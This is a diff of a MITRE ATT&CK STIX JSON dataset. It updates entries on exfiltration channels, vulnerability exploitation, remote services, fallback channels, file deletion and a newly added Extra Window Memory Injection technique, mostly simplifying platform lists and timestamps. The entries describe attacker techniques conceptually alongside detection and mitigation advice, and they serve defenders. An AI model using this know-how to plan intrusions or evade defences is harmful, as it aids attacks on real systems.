+            "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4812,21 +4672,9 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
@@ -4834,9 +4682,9 @@
             "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:25.159Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Other Network Medium",
-            "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
+            "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes\n\nContributors: Itzik Kotler, SafeBreach",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4862,29 +4710,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Physical Medium Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
             "external_references": [
@@ -4910,9 +4746,9 @@
             "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.461Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Physical Medium",
-            "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
+            "description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4935,21 +4771,9 @@
             ],
             "x_mitre_network_requirements": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Presence of physical medium or device"
@@ -4959,8 +4783,8 @@
             "type": "course-of-action",
             "id": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploitation of Vulnerability Mitigation",
             "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit. (Citation: SRD EMET)",
             "external_references": [
@@ -4981,9 +4805,9 @@
             "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:55.066Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploitation of Vulnerability",
-            "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
+            "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5030,28 +4854,6 @@
                 "File monitoring",
                 "Process monitoring"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
-            "x_mitre_effective_permissions": [
-                "User",
-                "Administrator",
-                "SYSTEM"
-            ],
             "x_mitre_defense_bypassed": [
                 "Anti-virus",
                 "System access controls"
@@ -5061,6 +4863,16 @@
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
+            "x_mitre_effective_permissions": [
+                "User",
+                "Administrator",
+                "SYSTEM"
+            ],
             "x_mitre_system_requirements": [
                 "Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system."
             ]
@@ -5069,10 +4881,10 @@
             "type": "course-of-action",
             "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "External Remote Services Mitigation",
-            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
+            "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through uses of network proxies, gateways, and firewalls as appropriate. Disable or block services such as Windows Remote Management can be used externally. Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of Two-Factor Authentication Interception techniques for some two-factor authentication implementations.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -5086,9 +4898,9 @@
             "id": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:44.421Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "External Remote Services",
-            "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley",
+            "description": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.\n\nAdversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.\n\nDetection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: Daniel Oakley, Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5111,7 +4923,8 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Daniel Oakley"
+                "Daniel Oakley",
+                "Travis Smith, Tripwire"
             ],
             "x_mitre_data_sources": [
                 "Authentication logs"
@@ -5120,26 +4933,132 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Extra Window Memory Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1181",
+                    "external_id": "T1181"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
+                {
+                    "source_name": "TechNet Applocker vs SRP",
+                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Extra Window Memory Injection",
+            "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Engame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\nDetection: Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, Host intrusion prevention systems, Data Execution Prevention\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1181",
+                    "external_id": "T1181"
+                },
+                {
+                    "source_name": "Microsoft Window Classes",
+                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
+                },
+                {
+                    "source_name": "Microsoft GetWindowLong function",
+                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx"
+                },
+                {
+                    "source_name": "Microsoft SetWindowLong function",
+                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "MalwareTech Power Loader Aug 2013",
+                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
+                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
+                },
+                {
+                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
+                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
+                },
+                {
+                    "source_name": "Microsoft SendNotifyMessage function",
+                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Anti-virus",
+                "Host intrusion prevention systems",
+                "Data Execution Prevention"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fallback Channels Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -5160,9 +5079,9 @@
             "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:21.689Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fallback Channels",
-            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5193,29 +5112,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File Deletion Mitigation",
             "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -5256,9 +5163,9 @@
             "id": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:17.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "File Deletion",
-            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, MacOS, OS X, Windows 10, Windows 7, Windows 8, Windows 8.1, Windows Server 2003, Windows Server 2003 R2, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, Windows Vista, Windows XP\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
+            "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)\n\nDetection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary file metadata, File monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User\n\nContributors: Walker Johnson",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5288,36 +5195,24 @@
                 "File monitoring",
                 "Process command-line parameters"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X",
-                "Windows 10",
-                "Windows 7",
-                "Windows 8",
-                "Windows 8.1",
-                "Windows Server 2003",
-                "Windows Server 2003 R2",
-                "Windows Server 2008",
-                "Windows Server 2008 R2",
-                "Windows Server 2012",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows XP"
+                "Windows",
+                "macOS"
             ],
             "x_mitre_defense_bypassed": [
                 "Host forensic analysis"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
